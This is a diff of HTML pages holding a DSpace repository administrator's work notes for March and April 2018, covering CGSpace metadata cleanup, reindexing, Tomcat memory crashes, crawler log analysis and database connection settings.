  • Abenet was having problems saving Listings and Reports configurations or layouts but I tested it and it works
    • +
+

2018-03-15

+
    +
  • Help Abenet troubleshoot the Listings and Reports issue again
    • +
  • It looks like it’s an issue with the layouts, if you create a new layout that only has one type (dc.identifier.citation):
    • +
+

Listing and Reports layout

+
    +
  • The error in the DSpace log is:
    • +
+
org.apache.jasper.JasperException: java.lang.ArrayIndexOutOfBoundsException: -1
+
+

2018-03-16

+
    +
  • ICT made the DNS updates for dspacetest.cgiar.org late last night
    • +
  • I have removed the old server (linode02 aka linode578611) in favor of linode19 aka linode6624164
    • +
  • Looking at the CRP subjects on CGSpace I see there is one blank one so I’ll just fix it:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and metadata_field_id=230 and text_value='';
+
    +
  • Copy all CRP subjects to a CSV to do the mass updates:
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=230 group by text_value order by count desc) to /tmp/crps.csv with csv header;
+COPY 21
+
    +
  • Once I prepare the new input forms (#362) I will need to do the batch corrections:
    • +
+
$ ./fix-metadata-values.py -i Correct-21-CRPs-2018-03-16.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.crp -t correct -m 230 -n -d
+
    +
  • Create a pull request to update the input forms for the new CRP subject style (#366)
    • +
+

2018-03-19

+
    +
  • Tezira has been having problems accessing CGSpace from the ILRI Nairobi campus since last week
    • +
  • She is getting an HTTPS error apparently
    • +
  • It’s working outside, and Ethiopian users seem to be having no issues so I’ve asked ICT to have a look
    • +
  • CGSpace crashed this morning for about seven minutes and Dani restarted Tomcat
    • +
  • Around that time there were an increase of SQL errors:
    • +
+
2018-03-19 09:10:54,856 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error -
+...
+2018-03-19 09:10:54,862 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL query singleTable Error -
+
    +
  • But these errors, I don’t even know what they mean, because a handful of them happen every day:
    • +
+
$ grep -c 'ERROR org.dspace.storage.rdbms.DatabaseManager' dspace.log.2018-03-1*
+dspace.log.2018-03-10:13
+dspace.log.2018-03-11:15
+dspace.log.2018-03-12:13
+dspace.log.2018-03-13:13
+dspace.log.2018-03-14:14
+dspace.log.2018-03-15:13
+dspace.log.2018-03-16:13
+dspace.log.2018-03-17:13
+dspace.log.2018-03-18:15
+dspace.log.2018-03-19:90
+
    +
  • There wasn’t even a lot of traffic at the time (8–9 AM):
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "19/Mar/2018:0[89]:" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     92 40.77.167.197
+     92 83.103.94.48
+     96 40.77.167.175
+    116 207.46.13.178
+    122 66.249.66.153
+    140 95.108.181.88
+    196 213.55.99.121
+    206 197.210.168.174
+    207 104.196.152.243
+    294 54.198.169.202
+
    +
  • Well there is a hint in Tomcat’s catalina.out:
    • +
+
Mon Mar 19 09:05:28 UTC 2018 | Query:id: 92032 AND type:2
+Exception in thread "http-bio-127.0.0.1-8081-exec-280" java.lang.OutOfMemoryError: Java heap space
+
    +
  • So someone was doing something heavy somehow… my guess is content and usage stats!
    • +
  • ICT responded that they “fixed” the CGSpace connectivity issue in Nairobi without telling me the problem
    • +
  • When I asked, Robert Okal said CGNET messed up when updating the DNS for cgspace.cgiar.org last week
    • +
  • I told him that my request last week was for dspacetest.cgiar.org, not cgspace.cgiar.org!
    • +
  • So they updated the wrong fucking DNS records
    • +
  • Magdalena from CCAFS wrote to ask about one record that has a bunch of metadata missing in her Listings and Reports export
    • +
  • It appears to be this one: https://cgspace.cgiar.org/handle/10568/83473?show=full
    • +
  • The title is “Untitled” and there is some metadata but indeed the citation is missing
    • +
  • I don’t know what would cause that
    • +
+

2018-03-20

+
    +
  • DSpace Test has been down for a few hours with SQL and memory errors starting this morning:
    • +
+
2018-03-20 08:47:10,177 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error -
+...
+2018-03-20 08:53:11,624 ERROR org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter @ Serious Error Occurred Processing Request!
+org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.lang.OutOfMemoryError: Java heap space
+
    +
  • I have no idea why it crashed
    • +
  • I ran all system updates and rebooted it
    • +
  • Abenet told me that one of Lance Robinson’s ORCID iDs on CGSpace is incorrect
    • +
  • I will remove it from the controlled vocabulary (#367) and update any items using the old one:
    • +
+
dspace=# update metadatavalue set text_value='Lance W. Robinson: 0000-0002-5224-8644' where resource_type_id=2 and metadata_field_id=240 and text_value like '%0000-0002-6344-195X%';
+UPDATE 1
+
    +
  • Communicate with DSpace editors on Yammer about being more careful about spaces and character editing when doing manual metadata edits
    • +
  • Merge the changes to CRP names to the 5_x-prod branch and deploy on CGSpace (#363)
    • +
  • Run corrections for CRP names in the database:
    • +
+
$ ./fix-metadata-values.py -i /tmp/Correct-21-CRPs-2018-03-16.csv -f cg.contributor.crp -t correct -m 230 -db dspace -u dspace -p 'fuuu'
+
    +
  • Run all system updates on CGSpace (linode18) and reboot the server
    • +
  • I started a full Discovery re-index on CGSpace because of the updated CRPs
    • +
  • I see this error in the DSpace log:
    • +
+
2018-03-20 19:03:14,844 ERROR com.atmire.dspace.discovery.AtmireSolrService @ No choices plugin was configured for  field "dc_contributor_author".
+java.lang.IllegalArgumentException: No choices plugin was configured for  field "dc_contributor_author".
+        at org.dspace.content.authority.ChoiceAuthorityManager.getLabel(ChoiceAuthorityManager.java:261)
+        at org.dspace.content.authority.ChoiceAuthorityManager.getLabel(ChoiceAuthorityManager.java:249)
+        at org.dspace.browse.SolrBrowseCreateDAO.additionalIndex(SolrBrowseCreateDAO.java:215)
+        at com.atmire.dspace.discovery.AtmireSolrService.buildDocument(AtmireSolrService.java:662)
+        at com.atmire.dspace.discovery.AtmireSolrService.indexContent(AtmireSolrService.java:807)
+        at com.atmire.dspace.discovery.AtmireSolrService.updateIndex(AtmireSolrService.java:876)
+        at org.dspace.discovery.SolrServiceImpl.createIndex(SolrServiceImpl.java:370)
+        at org.dspace.discovery.IndexClient.main(IndexClient.java:117)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+
    +
  • I have to figure that one out…
    • +
+

2018-03-21

+
    +
  • Looks like the indexing gets confused that there is still data in the authority column
    • +
  • Unfortunately this causes those items to simply not be indexed, which users noticed because item counts were cut in half and old items showed up in RSS!
    • +
  • Since we’ve migrated the ORCID identifiers associated with the authority data to the cg.creator.id field we can nullify the authorities remaining in the database:
    • +
+
dspace=# UPDATE metadatavalue SET authority=NULL WHERE resource_type_id=2 AND metadata_field_id=3 AND authority IS NOT NULL;
+UPDATE 195463
+
    +
  • After this the indexing works as usual and item counts and facets are back to normal
    • +
  • Send Peter a list of all authors to correct:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv header;
+COPY 56156
+
    +
  • Afterwards we’ll want to do some batch tagging of ORCID identifiers to these names
    • +
  • CGSpace crashed again this afternoon, I’m not sure of the cause but there are a lot of SQL errors in the DSpace log:
    • +
+
2018-03-21 15:11:08,166 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error - 
+java.sql.SQLException: Connection has already been closed.
+
    +
  • I have no idea why so many connections were abandoned this afternoon:
    • +
+
# grep 'Mar 21, 2018' /var/log/tomcat7/catalina.out | grep -c 'org.apache.tomcat.jdbc.pool.ConnectionPool abandon'
+268
+
    +
  • DSpace Test crashed again due to Java heap space, this is from the DSpace log:
    • +
+
2018-03-21 15:18:48,149 ERROR org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter @ Serious Error Occurred Processing Request!
+org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.lang.OutOfMemoryError: Java heap space
+
    +
  • And this is from the Tomcat Catalina log:
    • +
+
Mar 21, 2018 11:20:00 AM org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor run
+SEVERE: Unexpected death of background thread ContainerBackgroundProcessor[StandardEngine[Catalina]]
+java.lang.OutOfMemoryError: Java heap space
+
    +
  • But there are tons of heap space errors on DSpace Test actually:
    • +
+
# grep -c 'java.lang.OutOfMemoryError: Java heap space' /var/log/tomcat7/catalina.out
+319
+
    +
  • I guess we need to give it more RAM because it now has CGSpace’s large Solr core
    • +
  • I will increase the memory from 3072m to 4096m
    • +
  • Update Ansible playbooks to use PostgreSQL JBDC driver 42.2.2
    • +
  • Deploy the new JDBC driver on DSpace Test
    • +
  • I’m also curious to see how long the dspace index-discovery -b takes on DSpace Test where the DSpace installation directory is on one of Linode’s new block storage volumes
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    208m19.155s
+user    8m39.138s
+sys     2m45.135s
+
    +
  • So that’s about three times as long as it took on CGSpace this morning
    • +
  • I should also check the raw read speed with hdparm -tT /dev/sdc
    • +
  • Looking at Peter’s author corrections there are some mistakes due to Windows 1252 encoding
    • +
  • I need to find a way to filter these easily with OpenRefine
    • +
  • For example, Peter has inadvertantly introduced Unicode character 0xfffd into several fields
    • +
  • I can search for Unicode values by their hex code in OpenRefine using the following GREL expression:
    • +
+
isNotNull(value.match(/.*\ufffd.*/))
+
    +
  • I need to be able to add many common characters though so that it is useful to copy and paste into a new project to find issues
    • +
+

2018-03-22

+ +

2018-03-24

+
    +
  • More work on the Ubuntu 18.04 readiness stuff for the Ansible playbooks
    • +
  • The playbook now uses the system’s Ruby and Node.js so I don’t have to manually install RVM and NVM after
    • +
+

2018-03-25

+
    +
  • Looking at Peter’s author corrections and trying to work out a way to find errors in OpenRefine easily
    • +
  • I can find all names that have acceptable characters using a GREL expression like:
    • +
+
isNotNull(value.match(/.*[a-zA-ZáÁéèïíñØøöóúü].*/))
+
    +
  • But it’s probably better to just say which characters I know for sure are not valid (like parentheses, pipe, or weird Unicode characters):
    • +
+
or(
+  isNotNull(value.match(/.*[(|)].*/)),
+  isNotNull(value.match(/.*\uFFFD.*/)),
+  isNotNull(value.match(/.*\u00A0.*/)),
+  isNotNull(value.match(/.*\u200A.*/))
+)
+
    +
  • And here’s one combined GREL expression to check for items marked as to delete or check so I can flag them and export them to a separate CSV (though perhaps it’s time to add delete support to my fix-metadata-values.py script:
    • +
+
or(
+  isNotNull(value.match(/.*delete.*/i)),
+  isNotNull(value.match(/.*remove.*/i)),
+  isNotNull(value.match(/.*check.*/i))
+)
+
    +
  • +

    So I guess the routine is in OpenRefine is:

    +
      +
    • Transform: trim leading/trailing whitespace
      • +
    • Transform: collapse consecutive whitespace
      • +
    • Custom text facet for items to delete/check
      • +
    • Custom text facet for illegal characters
      • +
    +
    • +
  • +

    Test the corrections and deletions locally, then run them on CGSpace:

    +
    • +
+
$ ./fix-metadata-values.py -i /tmp/Correct-2928-Authors-2018-03-21.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3
+$ ./delete-metadata-values.py -i /tmp/Delete-8-Authors-2018-03-21.csv -f dc.contributor.author -m 3 -db dspacetest -u dspace -p 'fuuu'
+
    +
  • Afterwards I started a full Discovery reindexing on both CGSpace and DSpace Test
    • +
  • CGSpace took 76m28.292s
    • +
  • DSpace Test took 194m56.048s
    • +
+

2018-03-26

+
    +
  • Atmire got back to me about the Listings and Reports issue and said it’s caused by items that have missing dc.identifier.citation fields
    • +
  • The will send a fix
    • +
+

2018-03-27

+
    +
  • Atmire got back with an updated quote about the DSpace 5.8 compatibility so I’ve forwarded it to Peter
    • +
+

2018-03-28

+
    +
  • DSpace Test crashed due to heap space so I’ve increased it from 4096m to 5120m
    • +
  • The error in Tomcat’s catalina.out was:
    • +
+
Exception in thread "RMI TCP Connection(idle)" java.lang.OutOfMemoryError: Java heap space
+
    +
  • Add ISI Journal (cg.isijournal) as an option in Atmire’s Listing and Reports layout (#370) for Abenet
    • +
  • I noticed a few hundred CRPs using the old capitalized formatting so I corrected them:
    • +
+
$ ./fix-metadata-values.py -i /tmp/Correct-21-CRPs-2018-03-16.csv -f cg.contributor.crp -t correct -m 230 -db cgspace -u cgspace -p 'fuuu'
+Fixed 29 occurences of: CLIMATE CHANGE, AGRICULTURE AND FOOD SECURITY
+Fixed 7 occurences of: WATER, LAND AND ECOSYSTEMS
+Fixed 19 occurences of: AGRICULTURE FOR NUTRITION AND HEALTH
+Fixed 100 occurences of: ROOTS, TUBERS AND BANANAS
+Fixed 31 occurences of: HUMIDTROPICS
+Fixed 21 occurences of: MAIZE
+Fixed 11 occurences of: POLICIES, INSTITUTIONS, AND MARKETS
+Fixed 28 occurences of: GRAIN LEGUMES
+Fixed 3 occurences of: FORESTS, TREES AND AGROFORESTRY
+Fixed 5 occurences of: GENEBANKS
+
    +
  • That’s weird because we just updated them last week…
    • +
  • Create a pull request to enable searching by ORCID identifier (cg.creator.id) in Discovery and Listings and Reports (#371)
    • +
  • I will test it on DSpace Test first!
    • +
  • Fix one missing XMLUI string for “Access Status” (cg.identifier.status)
    • +
  • Run all system updates on DSpace Test and reboot the machine
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-04/index.html b/docs/2018-04/index.html new file mode 100644 index 000000000..0af82af5f --- /dev/null +++ b/docs/2018-04/index.html @@ -0,0 +1,648 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2018

+

+ + in + Notes + + +

+
+

2018-04-01

+
    +
  • I tried to test something on DSpace Test but noticed that it’s down since god knows when
    • +
  • Catalina logs at least show some memory errors yesterday:
    • +
+
Mar 31, 2018 10:26:42 PM org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor run
+SEVERE: Unexpected death of background thread ContainerBackgroundProcessor[StandardEngine[Catalina]] 
+java.lang.OutOfMemoryError: Java heap space
+
+Exception in thread "ContainerBackgroundProcessor[StandardEngine[Catalina]]" java.lang.OutOfMemoryError: Java heap space
+
    +
  • So this is getting super annoying
    • +
  • I ran all system updates on DSpace Test and rebooted it
    • +
  • For some reason Listings and Reports is not giving any results for any queries now…
    • +
  • I posted a message on Yammer to ask if people are using the Duplicate Check step from the Metadata Quality Module
    • +
  • Help Lili Szilagyi with a question about statistics on some CCAFS items
    • +
+

2018-04-04

+
    +
  • Peter noticed that there were still some old CRP names on CGSpace, because I hadn’t forced the Discovery index to be updated after I fixed the others last week
    • +
  • For completeness I re-ran the CRP corrections on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/Correct-21-CRPs-2018-03-16.csv -f cg.contributor.crp -t correct -m 230 -db dspace -u dspace -p 'fuuu'
+Fixed 1 occurences of: AGRICULTURE FOR NUTRITION AND HEALTH
+
    +
  • Then started a full Discovery index:
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx1024m'
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    76m13.841s
+user    8m22.960s
+sys     2m2.498s
+
    +
  • Elizabeth from CIAT emailed to ask if I could help her by adding ORCID identifiers to all of Joseph Tohme’s items
    • +
  • I used my add-orcid-identifiers-csv.py script:
    • +
+
$ ./add-orcid-identifiers-csv.py -i /tmp/jtohme-2018-04-04.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • The CSV format of jtohme-2018-04-04.csv was:
    • +
+
dc.contributor.author,cg.creator.id
+"Tohme, Joseph M.",Joe Tohme: 0000-0003-2765-7101
+
    +
  • There was a quoting error in my CRP CSV and the replacements for Forests, Trees and Agroforestry got messed up
    • +
  • So I fixed them and had to re-index again!
    • +
  • I started preparing the git branch for the the DSpace 5.5→5.8 upgrade:
    • +
+
$ git checkout -b 5_x-dspace-5.8 5_x-prod
+$ git reset --hard ilri/5_x-prod
+$ git rebase -i dspace-5.8
+
    +
  • I was prepared to skip some commits that I had cherry picked from the upstream dspace-5_x branch when we did the DSpace 5.5 upgrade (see notes on 2016-10-19 and 2017-12-17): +
      +
    • [DS-3246] Improve cleanup in recyclable components (upstream commit on dspace-5_x: 9f0f5940e7921765c6a22e85337331656b18a403)
      • +
    • [DS-3250] applying patch provided by Atmire (upstream commit on dspace-5_x: c6fda557f731dbc200d7d58b8b61563f86fe6d06)
      • +
    • bump up to latest minor pdfbox version (upstream commit on dspace-5_x: b5330b78153b2052ed3dc2fd65917ccdbfcc0439)
      • +
    • DS-3583 Usage of correct Collection Array (#1731) (upstream commit on dspace-5_x: c8f62e6f496fa86846bfa6bcf2d16811087d9761)
      • +
    +
    • +
  • … but somehow git knew, and didn’t include them in my interactive rebase!
    • +
  • I need to send this branch to Atmire and also arrange payment (see ticket #560 in their tracker)
    • +
  • Fix Sisay’s SSH access to the new DSpace Test server (linode19)
    • +
+

2018-04-05

+
    +
  • Fix Sisay’s sudo access on the new DSpace Test server (linode19)
    • +
  • The reindexing process on DSpace Test took forever yesterday:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    599m32.961s
+user    9m3.947s
+sys     2m52.585s
+
    +
  • So we really should not use this Linode block storage for Solr
    • +
  • Assetstore might be fine but would complicate things with configuration and deployment (ughhh)
    • +
  • Better to use Linode block storage only for backup
    • +
  • Help Peter with the GDPR compliance / reporting form for CGSpace
    • +
  • DSpace Test crashed due to memory issues again:
    • +
+
# grep -c 'java.lang.OutOfMemoryError: Java heap space' /var/log/tomcat7/catalina.out
+16
+
    +
  • I ran all system updates on DSpace Test and rebooted it
    • +
  • Proof some records on DSpace Test for Udana from IWMI
    • +
  • He has done better with the small syntax and consistency issues but then there are larger concerns with not linking to DOIs, copying titles incorrectly, etc
    • +
+

2018-04-10

+
    +
  • I got a notice that CGSpace CPU usage was very high this morning
    • +
  • Looking at the nginx logs, here are the top users today so far:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "10/Apr/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10                                                                                                   
+    282 207.46.13.112
+    286 54.175.208.220
+    287 207.46.13.113
+    298 66.249.66.153
+    322 207.46.13.114
+    780 104.196.152.243
+   3994 178.154.200.38
+   4295 70.32.83.92
+   4388 95.108.181.88
+   7653 45.5.186.2
+
    +
  • 45.5.186.2 is of course CIAT
    • +
  • 95.108.181.88 appears to be Yandex:
    • +
+
95.108.181.88 - - [09/Apr/2018:06:34:16 +0000] "GET /bitstream/handle/10568/21794/ILRI_logo_usage.jpg.jpg HTTP/1.1" 200 2638 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
+
    +
  • And for some reason Yandex created a lot of Tomcat sessions today:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=95.108.181.88' dspace.log.2018-04-10
+4363
+
    +
  • 70.32.83.92 appears to be some harvester we’ve seen before, but on a new IP
    • +
  • They are not creating new Tomcat sessions so there is no problem there
    • +
  • 178.154.200.38 also appears to be Yandex, and is also creating many Tomcat sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=178.154.200.38' dspace.log.2018-04-10
+3982
+
    +
  • I’m not sure why Yandex creates so many Tomcat sessions, as its user agent should match the Crawler Session Manager valve
    • +
  • Let’s try a manual request with and without their user agent:
    • +
+
$ http --print Hh https://cgspace.cgiar.org/bitstream/handle/10568/21794/ILRI_logo_usage.jpg.jpg 'User-Agent:Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)'
+GET /bitstream/handle/10568/21794/ILRI_logo_usage.jpg.jpg HTTP/1.1
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Host: cgspace.cgiar.org
+User-Agent: Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
+
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Language: en-US
+Content-Length: 2638
+Content-Type: image/jpeg;charset=ISO-8859-1
+Date: Tue, 10 Apr 2018 05:18:37 GMT
+Expires: Tue, 10 Apr 2018 06:18:37 GMT
+Last-Modified: Tue, 25 Apr 2017 07:05:54 GMT
+Server: nginx
+Strict-Transport-Security: max-age=15768000
+Vary: User-Agent
+X-Cocoon-Version: 2.2.0
+X-Content-Type-Options: nosniff
+X-Frame-Options: SAMEORIGIN
+X-XSS-Protection: 1; mode=block
+
+$ http --print Hh https://cgspace.cgiar.org/bitstream/handle/10568/21794/ILRI_logo_usage.jpg.jpg                                                                              
+GET /bitstream/handle/10568/21794/ILRI_logo_usage.jpg.jpg HTTP/1.1
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Host: cgspace.cgiar.org
+User-Agent: HTTPie/0.9.9
+
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Language: en-US
+Content-Length: 2638
+Content-Type: image/jpeg;charset=ISO-8859-1
+Date: Tue, 10 Apr 2018 05:20:08 GMT
+Expires: Tue, 10 Apr 2018 06:20:08 GMT
+Last-Modified: Tue, 25 Apr 2017 07:05:54 GMT
+Server: nginx
+Set-Cookie: JSESSIONID=31635DB42B66D6A4208CFCC96DD96875; Path=/; Secure; HttpOnly
+Strict-Transport-Security: max-age=15768000
+Vary: User-Agent
+X-Cocoon-Version: 2.2.0
+X-Content-Type-Options: nosniff
+X-Frame-Options: SAMEORIGIN
+X-XSS-Protection: 1; mode=block
+
    +
  • So it definitely looks like Yandex requests are getting assigned a session from the Crawler Session Manager valve
    • +
  • And if I look at the DSpace log I see its IP sharing a session with other crawlers like Google (66.249.66.153)
    • +
  • Indeed the number of Tomcat sessions appears to be normal:
    • +
+

Tomcat sessions week

+
    +
  • In other news, it looks like the number of total requests processed by nginx in March went down from the previous months:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Mar/2018"
+2266594
+
+real    0m13.658s
+user    0m16.533s
+sys     0m1.087s
+
    +
  • In other other news, the database cleanup script has an issue again:
    • +
+
$ dspace cleanup -v
+...
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(151626) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (151626);'
+UPDATE 1
+
    +
  • Looking at abandoned connections in Tomcat:
    • +
+
# zcat /var/log/tomcat7/catalina.out.[1-9].gz | grep -c 'org.apache.tomcat.jdbc.pool.ConnectionPool abandon'
+2115
+
    +
  • Apparently from these stacktraces we should be able to see which code is not closing connections properly
    • +
  • Here’s a pretty good overview of days where we had database issues recently:
    • +
+
# zcat /var/log/tomcat7/catalina.out.[1-9].gz | grep 'org.apache.tomcat.jdbc.pool.ConnectionPool abandon' | awk '{print $1,$2, $3}' | sort | uniq -c | sort -n
+      1 Feb 18, 2018
+      1 Feb 19, 2018
+      1 Feb 20, 2018
+      1 Feb 24, 2018
+      2 Feb 13, 2018
+      3 Feb 17, 2018
+      5 Feb 16, 2018
+      5 Feb 23, 2018
+      5 Feb 27, 2018
+      6 Feb 25, 2018
+     40 Feb 14, 2018
+     63 Feb 28, 2018
+    154 Mar 19, 2018
+    202 Feb 21, 2018
+    264 Feb 26, 2018
+    268 Mar 21, 2018
+    524 Feb 22, 2018
+    570 Feb 15, 2018
+
    +
  • In Tomcat 8.5 the removeAbandoned property has been split into two: removeAbandonedOnBorrow and removeAbandonedOnMaintenance
    • +
  • See: https://tomcat.apache.org/tomcat-8.5-doc/jndi-datasource-examples-howto.html#Database_Connection_Pool_(DBCP_2)_Configurations
    • +
  • I assume we want removeAbandonedOnBorrow and make updates to the Tomcat 8 templates in Ansible
    • +
  • After reading more documentation I see that Tomcat 8.5’s default DBCP seems to now be Commons DBCP2 instead of Tomcat DBCP
    • +
  • It can be overridden in Tomcat’s server.xml by setting factory="org.apache.tomcat.jdbc.pool.DataSourceFactory" in the <Resource>
    • +
  • I think we should use this default, so we’ll need to remove some other settings that are specific to Tomcat’s DBCP like jdbcInterceptors and abandonWhenPercentageFull
    • +
  • Merge the changes adding ORCID identifier to advanced search and Atmire Listings and Reports (#371)
    • +
  • Fix one more issue of missing XMLUI strings (for CRP subject when clicking “view more” in the Discovery sidebar)
    • +
  • I told Udana to fix the citation and abstract of the one item, and to correct the dc.language.iso for the five Spanish items in his Book Chapters collection
    • +
  • Then we can import the records to CGSpace
    • +
+

2018-04-11

+
    +
  • DSpace Test (linode19) crashed again some time since yesterday:
    • +
+
# grep -c 'java.lang.OutOfMemoryError: Java heap space' /var/log/tomcat7/catalina.out
+168
+
    +
  • I ran all system updates and rebooted the server
    • +
+

2018-04-12

+ +

2018-04-13

+
    +
  • Add PII-LAM_CSAGender to CCAFS Phase II project tags in input-forms.xml
    • +
+

2018-04-15

+
    +
  • While testing an XMLUI patch for DS-3883 I noticed that there is still some remaining Authority / Solr configuration left that we need to remove:
    • +
+
2018-04-14 18:55:25,841 ERROR org.dspace.authority.AuthoritySolrServiceImpl @ Authority solr is not correctly configured, check "solr.authority.server" property in the dspace.cfg
+java.lang.NullPointerException
+
    +
  • I assume we need to remove authority from the consumers in dspace/config/dspace.cfg:
    • +
+
event.dispatcher.default.consumers = authority, versioning, discovery, eperson, harvester, statistics,batchedit, versioningmqm
+
    +
  • I see the same error on DSpace Test so this is definitely a problem
    • +
  • After disabling the authority consumer I no longer see the error
    • +
  • I merged a pull request to the 5_x-prod branch to clean that up (#372)
    • +
  • File a ticket on DSpace’s Jira for the target="_blank" security and performance issue (DS-3891)
    • +
  • I re-deployed DSpace Test (linode19) and was surprised by how long it took the ant update to complete:
    • +
+
BUILD SUCCESSFUL
+Total time: 4 minutes 12 seconds
+
    +
  • The Linode block storage is much slower than the instance storage
    • +
  • I ran all system updates and rebooted DSpace Test (linode19)
    • +
+

2018-04-16

+
    +
  • Communicate with Bioversity about their project to migrate their e-Library (Typo3) and Sci-lit databases to CGSpace
    • +
+

2018-04-18

+ +
webui.itemlist.sort-option.1 = title:dc.title:title
+webui.itemlist.sort-option.2 = dateissued:dc.date.issued:date
+webui.itemlist.sort-option.3 = dateaccessioned:dc.date.accessioned:date
+webui.itemlist.sort-option.4 = type:dc.type:text
+
    +
  • They want items by issue date, so we need to use sort option 2
    • +
  • According to the DSpace Manual there are only the following parameters to OpenSearch: format, scope, rpp, start, and sort_by
    • +
  • The OpenSearch query parameter expects a Discovery search filter that is defined in dspace/config/spring/api/discovery.xml
    • +
  • So for IWMI they should be able to use something like this: https://cgspace.cgiar.org/open-search/discover?query=dateIssued:2018&scope=10568/16814&sort_by=2&order=DESC&format=rss
    • +
  • There are also rpp (results per page) and start parameters but in my testing now on DSpace 5.5 they behave very strangely
    • +
  • For example, set rpp=1 and then check the results for start values of 0, 1, and 2 and they are all the same!
    • +
  • If I have time I will check if this behavior persists on DSpace 6.x on the official DSpace demo and file a bug
    • +
  • Also, the DSpace Manual as of 5.x has very poor documentation for OpenSearch
    • +
  • They don’t tell you to use Discovery search filters in the query (with format query=dateIssued:2018)
    • +
  • They don’t tell you that the sort options are actually defined in dspace.cfg (ie, you need to use 2 instead of dc.date.issued_dt)
    • +
  • They are missing the order parameter (ASC vs DESC)
    • +
  • I notice that DSpace Test has crashed again, due to memory:
    • +
+
# grep -c 'java.lang.OutOfMemoryError: Java heap space' /var/log/tomcat7/catalina.out
+178
+
    +
  • I will increase the JVM heap size from 5120M to 6144M, though we don’t have much room left to grow as DSpace Test (linode19) is using a smaller instance size than CGSpace
    • +
  • Gabriela from CIP asked if I could send her a list of all CIP authors so she can do some replacements on the name formats
    • +
  • I got a list of all the CIP collections manually and use the same query that I used in August, 2017:
    • +
+
dspace#= \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/89347', '10568/88229', '10568/53086', '10568/53085', '10568/69069', '10568/53087', '10568/53088', '10568/53089', '10568/53090', '10568/53091', '10568/53092', '10568/70150', '10568/53093', '10568/64874', '10568/53094'))) group by text_value order by count desc) to /tmp/cip-authors.csv with csv;
+

2018-04-19

+
    +
  • Run updates on DSpace Test (linode19) and reboot the server
    • +
  • Also try deploying updated GeoLite database during ant update while re-deploying code:
    • +
+
$ ant update update_geolite clean_backups
+
    +
  • I also re-deployed CGSpace (linode18) to make the ORCID search, authority cleanup, CCAFS project tag PII-LAM_CSAGender live
    • +
  • When re-deploying I also updated the GeoLite databases so I hope the country stats become more accurate…
    • +
  • After re-deployment I ran all system updates on the server and rebooted it
    • +
  • After the reboot I forced a reïndexing of the Discovery to populate the new ORCID index:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    73m42.635s
+user    8m15.885s
+sys     2m2.687s
+
    +
  • This time is with about 70,000 items in the repository
    • +
+

2018-04-20

+
    +
  • Gabriela from CIP emailed to say that CGSpace was returning a white page, but I haven’t seen any emails from UptimeRobot
    • +
